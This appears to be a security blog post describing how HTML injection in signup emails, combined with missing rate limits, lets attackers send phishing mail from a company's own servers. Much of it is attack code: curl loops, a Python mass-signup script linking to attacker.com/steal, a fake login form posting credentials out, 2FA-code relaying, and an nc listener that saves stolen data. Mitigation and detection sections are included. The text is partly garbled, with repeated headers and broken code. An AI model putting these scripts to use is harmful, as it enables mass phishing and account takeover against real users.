How I Weaponized Targetcom’s Email Infrastructure: From P4 To P2 Via HTML Injection & Rate Limiting Abuse + Video

Introduction:

Chaining two seemingly low‑impact vulnerabilities—unsanitized HTML reflection in automated emails and missing rate limits on a signup endpoint—can escalate into a full‑blown email infrastructure hijack. This technique allows attackers to send spoofed, malicious emails from a victim’s own legitimate servers, automatically bypassing SPF, DKIM, and DMARC protections. In this article, we dissect a real‑world bug bounty chain that turned a P4 information disclosure into a P2 phishing powerhouse.

Learning Objectives:

Understand how unsanitized HTML injection in transactional emails leads to spoofed content delivery.
Learn to identify and exploit missing rate limiting and bot protection on signup/registration endpoints.
Build an automated exploit chain using Python and common command‑line tools to test and abuse these vulnerabilities.

You Should Know:

Chaining HTML Injection & Rate Limiting – The Core Exploit

Extended explanation:

The attack begins with an input field (e.g., “referrer name” or “comment”) that is reflected without sanitization into a welcome or notification email sent by the target. Because the email originates from the target’s own MTA, any injected HTML or JavaScript is rendered as trusted content. The second piece is a signup endpoint that lacks rate limiting and CAPTCHA – allowing an attacker to programmatically trigger thousands of these emails, each containing a malicious payload (e.g., a fake password‑reset link or a credential‑harvesting form).

Step‑by‑step guide to test and exploit:

Identify a reflection point – Look for any form field that appears in an email triggered by user action (registration, password reset, comment reply). Submit a test payload:

``

If the email arrives with an alert (or the HTML renders), it’s vulnerable.

Verify email origin – Check email headers to confirm it was sent from the target’s own mail server (look at Received‑from, Return‑Path, and Authentication‑Results).
Find the signup endpoint – Use Burp Suite or OWASP ZAP to capture the POST request that creates a new user account or triggers the email. Example using `curl` on Linux:
```
curl -X POST https://target.com/signup -d "[email protected]&name=<script>alert(1)</script>" -v
```

Test for rate limiting – Send the same request rapidly using a simple loop:

for i in {1..100}; do curl -X POST https://target.com/signup -d "[email protected]&name=poc" ; done

On Windows (PowerShell):

1..100 | ForEach-Object { Invoke-WebRequest -Uri "https://target.com/signup" -Method POST -Body "[email protected]&name=poc" }

If all requests succeed (HTTP 200) without a 429 response, rate limiting is missing.

Automate the chain – Combine HTML injection with mass signup. Example Python script:

import requests
import time

target_url = "https://target.com/signup"
malicious_payload = "<a href='https://attacker.com/steal?email={{email}}'>Verify your account</a>"

for i in range(500):
email = f"victim{i}@gmail.com"
data = {"email": email, "name": malicious_payload.replace("{{email}}", email)}
r = requests.post(target_url, data=data)
print(f"Sent to {email}: {r.status_code}")
time.sleep(0.1)  small delay to avoid network issues but still bypasses missing rate limit

What this does: The script creates hundreds of accounts, each triggering a welcome email that contains a malicious HTML link. Because the email is signed by the target’s SPF/DKIM, it lands in inboxes and bypasses security filters.

Weaponizing Legitimate Email Infrastructure – Bypassing SPF, DKIM, DMARC

Step‑by‑step guide to understand and abuse:

SPF (Sender Policy Framework) – The target’s own IP is listed in their SPF record. Emails sent from their mail server will pass SPF automatically.
DKIM (DomainKeys Identified Mail) – The email is signed with the target’s private key. Since the vulnerable signup endpoint triggers a legitimate email generation process, the DKIM signature is valid.
DMARC (Domain‑based Message Authentication, Reporting & Conformance) – With both SPF and DKIM passing (alignment = “relaxed” or “strict”), DMARC will not block or quarantine the email.

Manual verification using command line:

Check SPF record:

dig txt target.com | grep "v=spf1"

Check DMARC policy:

dig txt _dmarc.target.com

Simulate sending a spoofed email via the vulnerable endpoint using a crafted HTML form:


<form action="https://target.com/signup" method="POST">
<input name="email" value="[email protected]">
<input name="name" value="<html><body>Your account has been compromised. <a href='https://attacker.com/reset'>Click here to reset password</a></body></html>">
<input type="submit">
</form>

When the victim receives the email, it appears as a trusted notification from [email protected]. Any link or attachment will be treated as legitimate.

Mitigation & Hardening – How to Stop This Attack

For developers and security engineers:

Input sanitization – Never reflect user input directly into email HTML. Use plain text or properly escape HTML entities. In Python:
```
from html import escape
safe_name = escape(user_provided_name)
```
Rate limiting – Implement token bucket or sliding window counters on all signup and email‑trigger endpoints. Example using Redis (Linux):
```
Install redis and limit with a simple script
redis-cli SET rate_limit:client_ip "1" EX 60 NX
```
CAPTCHA / bot protection – Integrate reCAPTCHA v3 or hCaptcha on signup forms.
Email content security – Use Content Security Policy (CSP) inside email HTML (if supported) and strip all <script>, javascript:, and `on` event handlers.

Windows IIS example (rate limiting via URL Rewrite):

<rule name="Rate Limit Signup" stopProcessing="true">
<match url="^signup$" />
<action type="AbortRequest" />
<conditions>
<add input="{HTTP_X_FORWARDED_FOR}" pattern="^.$" />
</conditions>
</rule>

(requires dynamic IP restriction module)

Advanced Exploitation – From Phishing to Account Takeover

Step‑by‑step to escalate:

Harvest credentials – Inject a fake login form inside the email that POSTs to your server:
```
</li>
</ol>

<form action="https://attacker.com/steal" method="POST">
<input name="username"><input name="password" type="password">
<input type="submit" value="Verify now">
</form>
```
1. Bypass 2FA – Ask the victim to “verify” by providing a one‑time code sent via SMS, then use it immediately on the real site.
2. Lateral movement – Once inside the victim’s account, look for API keys, internal endpoints, or password reset functionality for other services.
Linux command to set up a simple credential collector:
```
nc -lvnp 80 -c 'echo -e "HTTP/1.1 200 OK\n\n"; read -r POST; echo "$POST" >> stolen.txt'
```
5. Detection & Blue‑Team Hardening Commands

For defenders – monitor suspicious signup bursts:

Log analysis with `grep` and `awk` (Linux):
```
sudo grep "POST /signup" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head -20
```
Windows PowerShell equivalent:
```
Get-Content C:\inetpub\logs\LogFiles\W3SVC1\u_ex.log | Select-String "POST /signup" | ForEach-Object { ($_ -split ' ')[bash] } | Group-Object | Sort-Object Count -Descending | Select-Object -First 20
```
Check for HTML injection in outgoing emails – Use a mail gateway that scans for dangerous HTML patterns. Example with Amavis regex:
```
/<\s(?:img|iframe|script|body|form)[^>]?on\w+\s=|javascript:/i
```
What Undercode Say:
- Key Takeaway 1: Low‑severity vulnerabilities (P4) become critical (P2) when chained. Always test for business logic flaws like missing rate limits on email‑triggering endpoints.
- Key Takeaway 2: Legitimate email infrastructure is a weapon when abused – SPF/DKIM/DMARC do not protect against malicious content inside a validly signed email. Content sanitization is the missing layer.
Analysis: This attack vector is frequently overlooked in bug bounty programs because individual issues (HTML injection in a non‑reflected context, lack of rate limiting) are often dismissed as “informational” or “P4”. However, the real‑world impact – full email spoofing from a trusted domain – can lead to large‑scale phishing, credential theft, and reputational damage. Defenders must treat transactional emails as an attack surface and implement the same XSS protections they use for web pages. Meanwhile, bounty hunters should systematically probe for chains like signup → email reflection → mass automation. The provided Python script and curl loops are practical starting points for any pentester.

Prediction:

As AI‑driven email security gateways become more common, attackers will shift from simple HTML injection to exploiting misconfigured email templating engines (e.g., Velocity, Thymeleaf) that allow server‑side template injection (SSTI) inside emails. This could lead to remote code execution on the mail infrastructure itself. Additionally, we will see a rise in “email infrastructure as a service” abuse, where attackers rent legitimate email sending quotas from compromised SaaS platforms to launch bypass‑proof phishing campaigns. The only long‑term solution is to enforce strict, context‑aware content filtering on all outbound emails – a challenge that many organizations are not yet prepared for.

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IT/Security Reporter URL:

Reported By: Vansh Rathore – Hackers Feeds
Extra Hub: Undercode MoN
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Listen to this Post

Introduction:

Learning Objectives:

You Should Know:

Extended explanation:

Step‑by‑step guide to test and exploit:

``

On Windows (PowerShell):

Step‑by‑step guide to understand and abuse:

Manual verification using command line:

Check SPF record:

Check DMARC policy:

For developers and security engineers:

Windows IIS example (rate limiting via URL Rewrite):

(requires dynamic IP restriction module)

Step‑by‑step to escalate:

5. Detection & Blue‑Team Hardening Commands

For defenders – monitor suspicious signup bursts:

Log analysis with `grep` and `awk` (Linux):

Windows PowerShell equivalent:

What Undercode Say:

Prediction:

▶️ Related Video (74% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow UndercodeTesting & Stay Tuned:

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